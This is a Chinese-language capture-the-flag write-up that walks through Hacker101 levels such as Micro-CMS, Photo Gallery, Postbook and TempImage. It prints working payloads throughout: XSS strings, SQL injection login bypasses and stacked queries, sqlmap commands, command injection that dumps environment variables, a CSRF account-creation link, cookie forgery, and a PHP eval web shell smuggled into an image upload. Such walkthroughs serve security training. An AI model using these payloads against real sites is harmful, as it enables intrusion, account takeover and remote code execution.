【CTF从0到1】hacker101-CTF WP 第一期

admin 2023年6月11日21:56:11评论90 views字数 4528阅读15分5秒阅读模式

A little something to get you started

一个基础题

题目页面啥也没有

【CTF从0到1】hacker101-CTF WP 第一期

Cturl+u查看源码

!【CTF从0到1】hacker101-CTF WP 第一期

发现有一张图片,访问一下这个路径

【CTF从0到1】hacker101-CTF WP 第一期

就得到了flag

Micro-CMS v1

flag0

这题写了有四个flag

题目有三个连接

【CTF从0到1】hacker101-CTF WP 第一期

先看Testing连接

【CTF从0到1】hacker101-CTF WP 第一期

里面有一个编辑页面,进入看看

【CTF从0到1】hacker101-CTF WP 第一期

看到这种留言板,编辑面这种编辑后可以保存在页面上的,其实大概率就是xss漏洞了

我们先尝试最简单的xss语句,尝试在Title处注入

因为Title处写入的都会显示在主页,例如

【CTF从0到1】hacker101-CTF WP 第一期

之后返回home查看,123在主页中显示,所以如果存在xss漏洞就会在主页弹窗

【CTF从0到1】hacker101-CTF WP 第一期

先尝试最简单的注入

<script>alert(/xss/)</script>
【CTF从0到1】hacker101-CTF WP 第一期

提交后返回主页查看

【CTF从0到1】hacker101-CTF WP 第一期

成功弹出flag

flag1

刚刚是标题框存在xss,之后再看一下编辑框,用上面的poc尝试一下

<script>alert(/xss/)</script>
【CTF从0到1】hacker101-CTF WP 第一期

提交之后看返回的页面

【CTF从0到1】hacker101-CTF WP 第一期

发现</script>标签被过滤了,尝试一下其他的标签

<img src=x onerror=alert(xss)>

提交之后发现有东西没显示出来

【CTF从0到1】hacker101-CTF WP 第一期

查看源码发现flag【CTF从0到1】hacker101-CTF WP 第一期

flag2

访问其他页面时

【CTF从0到1】hacker101-CTF WP 第一期

这个路径会变化,猜测有其他的隐藏目录,用burp爆破一下

可以发现在路径为5的时候有flag

【CTF从0到1】hacker101-CTF WP 第一期

flag3

题目说尝试所有的注入,那么尝试一下sql注入

加单引号测试,出现flag【CTF从0到1】hacker101-CTF WP 第一期

Micro-CMS v2

flag0

题目页面和上一题相同,不同的是点进去出现的是登录框

【CTF从0到1】hacker101-CTF WP 第一期

先尝试一下弱口令

admin
admin
【CTF从0到1】hacker101-CTF WP 第一期

发现是没有这个用户名,再利用sql语句试一下

admin' or 1=1 --  
【CTF从0到1】hacker101-CTF WP 第一期

发现用户名被认为是true,所以存在sql注入漏洞

之后尝试构造一个虚拟的密码

admin' union select '111' as password -- 

这样就可以用密码111登录了

【CTF从0到1】hacker101-CTF WP 第一期

成功登录

【CTF从0到1】hacker101-CTF WP 第一期

在Private Page中找到flag

【CTF从0到1】hacker101-CTF WP 第一期
【CTF从0到1】hacker101-CTF WP 第一期

flag1

跟上一题一样创建一个新的页面,在这个页面中也有xss漏洞,但不会出现flag了【CTF从0到1】hacker101-CTF WP 第一期

我们随便输一点抓包看一下

【CTF从0到1】hacker101-CTF WP 第一期

看到有cookie,可以用jwt解一下

但我们是伪造admin登录的,没有真正的admin权限,可以吧Cookie删除看看会发生什么

【CTF从0到1】hacker101-CTF WP 第一期

成功拿到了flag,这也说明成功越权

flag2

sql盲注,可以直接用sqlmap梭出来

将抓包抓到的数据保存到1.txt中

【CTF从0到1】hacker101-CTF WP 第一期
python3 sqlmap.py -r 1.txt
【CTF从0到1】hacker101-CTF WP 第一期

Photo Gallery

flag0

打开题目查看源码发现id参数

【CTF从0到1】hacker101-CTF WP 第一期
image-20230609093639371

猜测是sql注入,只用用sqlmap跑出来第一个flag

python3 sqlmap.py -u https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=1 -D level5 -T photos -dump
【CTF从0到1】hacker101-CTF WP 第一期

flag1

再看数据库中的信息

【CTF从0到1】hacker101-CTF WP 第一期

当你访问id=1时会访问到files/adorable.jpg,当访问id=2时会访问到files/purrfect.jpg,那么当访问id=5就会啥也没有,但因为存在sql注入漏洞,那我们就可以伪造数组去访问id=2id=1的jpg

https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=5 union select 'files/adorable.jpg' #
【CTF从0到1】hacker101-CTF WP 第一期

成功伪造,那我们就可以伪造数据去读取一些内置文件

但可能是因为一些过滤或者其他原因读不出来

https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=5 union select '../../../etc/password' #

看提示他说的是

【CTF从0到1】hacker101-CTF WP 第一期

既然是flask框架,我们可以尝试读取一下app.py,或者main.py

经过尝试可以读出main,py

https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=5 union select 'main.py' #

找到第二个flag

【CTF从0到1】hacker101-CTF WP 第一期

flag2

可以查看源码把源码复制下来审计一下

重点在这里

【CTF从0到1】hacker101-CTF WP 第一期

如果我们可以控制fns中的项fn,就可以命令执行例如

fns=["xx || ls"]

再看这里

cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)

我们可以得知列表fns的项来自表photos中filename,而所以如果我们能够控制表photos中的filename就能最终进行代码注入

def fetch():
 cur = getDb().cursor()
 if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
  abort(404)

 #
 It's dangerous to go alone, take this:
 # ^FLAG^81d50e273378c6d53f9fd960a9d8ed55d8fe6051af0162cc9423ba2f16e2920e$FLAG$

 return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

这里存在SQL注入。如果execute函数支持sql堆叠查询,我们不就可以控制表photos中的数据了么

之后我们测试一下

https://a26281899f672b6d81e5f0f77eeb0db6.ctf.hacker101.com/fetch?id=1;update photos set title='test' where id=1;commit;--
【CTF从0到1】hacker101-CTF WP 第一期

返回主页看一下

【CTF从0到1】hacker101-CTF WP 第一期

构造pyload即可,flag在环境变量中

最终pyload

/fetch?id=1;update photos set filename"xx ||env|tr -t 'n' ':'" where id=1;commit;--

Cody's First Blog

flag0

打开题目发现有一个提交框

【CTF从0到1】hacker101-CTF WP 第一期

测试xss无果,但发现可以识别php头,可以直接得到flag

<?php phpinfo()?>
【CTF从0到1】hacker101-CTF WP 第一期

flag1

查看源码发现参数?page

【CTF从0到1】hacker101-CTF WP 第一期

访问得到登录页面

【CTF从0到1】hacker101-CTF WP 第一期

将url中page的参数中auth删掉,可以得到第二个flag

【CTF从0到1】hacker101-CTF WP 第一期
https://aa7fd2b6a6b7f1745ba350528c6fb8a9.ctf.hacker101.com/?page=admin.inc

postbook

flag0

进入登录页面尝试弱口令

username: user
password: password

得到第一个flag

【CTF从0到1】hacker101-CTF WP 第一期

flag1

随便点点,发现id参数变化

【CTF从0到1】hacker101-CTF WP 第一期

id=2的地方找到了第二个flag

【CTF从0到1】hacker101-CTF WP 第一期

flag2

将id改的很大也可以得到第三个flag

【CTF从0到1】hacker101-CTF WP 第一期

flag3

在new post页面有一个隐藏的user_id=2,将他改成1可以作为admin发布

【CTF从0到1】hacker101-CTF WP 第一期

可以得到第四个flag

【CTF从0到1】hacker101-CTF WP 第一期

flag4

在Edit post中将id改为1保存可以得到第五个flag

【CTF从0到1】hacker101-CTF WP 第一期

flag5

抓包看一下

发现cookie的id像是一个md5

【CTF从0到1】hacker101-CTF WP 第一期

可以用网站查一下https://www.cmd5.com/

【CTF从0到1】hacker101-CTF WP 第一期

是2如果我们改成1会怎样

将1加密

【CTF从0到1】hacker101-CTF WP 第一期

放到cookie中

【CTF从0到1】hacker101-CTF WP 第一期

得到第六个flag

flag6

在删除帖子的地方也有MD5修改一下得到最后一个flag

【CTF从0到1】hacker101-CTF WP 第一期

Ticketastic: Live Instance

flag0

一个登录框,但没有密码,经过尝试发现在这里唯一可以做的就是提交工单。有csrf漏洞可以帮助创建一个新帐户。

https://localhost/newUser?username=test&password=test&password2=test

因此,只需提交包含以下内容的工单即可。

<a href="http://localhost/newUser?username=test&password=test&password2=test">TEST</a>
【CTF从0到1】hacker101-CTF WP 第一期

之后用

test
test

就可以成功登录

【CTF从0到1】hacker101-CTF WP 第一期

拿到flag

Petshop Pro

flag0

在购买页面处抓包

【CTF从0到1】hacker101-CTF WP 第一期

得到一个cart参数将他url解码

cart=[[1, {"logo": "puppy.jpg", "price": 7.95, "name": "Puppy", "desc": "8"x10" color glossy photograph of a puppy."}]]

吧7.95改成0后再url加密再传进去

cart=%5B%5B1%2C+%7B%22logo%22%3A+%22puppy.jpg%22%2C+%22price%22%3A+0%2C+%22name%22%3A+%22Puppy%22%2C+%22desc%22%3A+%228%5C%22x10%5C%22+color+glossy+photograph+of+a+puppy.%22%7D%5D%5D

得到第一个flag

【CTF从0到1】hacker101-CTF WP 第一期

flag1

dirsearch扫一下目录,发现有一个登录页面

【CTF从0到1】hacker101-CTF WP 第一期

用弱口令尝试,登录成功拿到第二个flag

username=verla
password=jester

flag2

登录后有一个xss漏洞

【CTF从0到1】hacker101-CTF WP 第一期
<img src=x onerror=alert(1)>

跳转后拿到第三个flag

TempImage

flag0

进入是一个文件上传的页面,随便上传一个php文件,然后在burp中修改文件类型,让它报错就出现flag了

【CTF从0到1】hacker101-CTF WP 第一期

改为

【CTF从0到1】hacker101-CTF WP 第一期

发包就可以得到flag了

【CTF从0到1】hacker101-CTF WP 第一期

flag1

制作图片马可以getshell获取第二个flag

copy img.png/b + webshell.php shell.png

webshell.php中放入

<?php @eval($_POST['hacker1'])?>

之后随便找一个图片img.png

将他俩放到图一目录下运行

copy img.png/b + webshell.php shell.png

会生成一个图片马shell.png

上传

在burp中修改文件类型

Content-Disposition: form-data; name="filename"

/../../shell.php

之后访问shell.php就可以getshell了

【CTF从0到1】hacker101-CTF WP 第一期

flag在index.php点关注,不迷路




点关注,不迷路


【CTF从0到1】hacker101-CTF WP 第一期

原文始发于微信公众号(New Power安全团队):【CTF从0到1】hacker101-CTF WP 第一期

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月11日21:56:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CTF从0到1】hacker101-CTF WP 第一期https://cn-sec.com/archives/1797305.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息